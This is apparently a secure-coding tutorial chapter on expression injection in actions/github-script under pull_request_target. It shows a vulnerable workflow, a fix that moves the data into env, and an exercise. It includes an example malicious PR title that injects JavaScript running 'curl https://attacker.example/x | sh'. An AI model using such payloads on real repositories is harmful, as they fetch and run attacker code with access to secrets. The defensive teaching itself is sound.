Sub topic 6
Injection in actions/github-script
This chapter assumes you know how ${{ }} expressions are expanded in run steps and why event fields such as titles and branch names are attacker-controlled. Here the same flaw appears in a different place: JavaScript source instead of shell.
The same flaw in a different language
actions/github-script runs the JavaScript you put in its script input. GitHub expands ${{ }} expressions in that input before the action starts, so the action receives one finished block of source text. The runner does not separate your code from the expanded value. A value that contains quotes and JavaScript becomes part of the program.
Using pull_request_target makes this worse. That trigger runs in the base repository with a write-capable token and access to secrets. A fork contributor only has to open a pull request with a crafted title.
A vulnerable workflow
name: label-pr
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
with:
script: |
console.log("Title: ${{ github.event.pull_request.title }}")Suppose the attacker sets the PR title to this:
"); require('child_process').execSync('curl https://attacker.example/x | sh'); ("After expansion, the script becomes three statements. The first prints Title: . The second runs the attacker's command. The third is a harmless empty string. The quotes in the title closed the original string and opened a new one.
The fix: pass data through the environment
Put the expression in an env entry and read it in JavaScript through process.env.
name: label-pr
on:
pull_request_target:
types: [opened]
permissions:
contents: read
pull-requests: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
env:
PR_TITLE: ${{ github.event.pull_request.title }}
with:
script: |
console.log(`Title: ${process.env.PR_TITLE}`)The expression is still expanded, but it now lands in an environment variable's value. The script text contains only process.env.PR_TITLE, which is fixed code. The title is read at run time as a string and is never parsed as JavaScript.
The template literal ${process.env.PR_TITLE} is plain JavaScript string interpolation. It is not a GitHub expression, and it is safe because the value is already data.
The permissions block is a second layer. If an injection does happen, the token can read contents and write pull requests, and it can do nothing else.
A second option: use the context object
github-script also exposes the event payload directly. Inside the script, context.payload.pull_request.title returns the title as a string value, with no expansion step. This is also safe. The environment-variable pattern is still worth using as your default, because it works the same way in run steps and in every other action.
Other script-style actions
Any action that takes code or a command as an input has the same risk. Examples are script, run, command and args inputs. Check each with: value for ${{ }} that contains event data, and move that data into env.
Exercise
A workflow uses actions/github-script@v7 with script: core.setOutput("branch", "${{ github.head_ref }}"). Why is this unsafe, and how do you fix it?
Show answer
Branch names are chosen by the PR author and can contain quotes and JavaScript. The expansion puts that text into the script source, so a crafted name can close the string and run code. Fix it by adding env: BRANCH: ${{ github.head_ref }} to the step and writing core.setOutput("branch", process.env.BRANCH) in the script.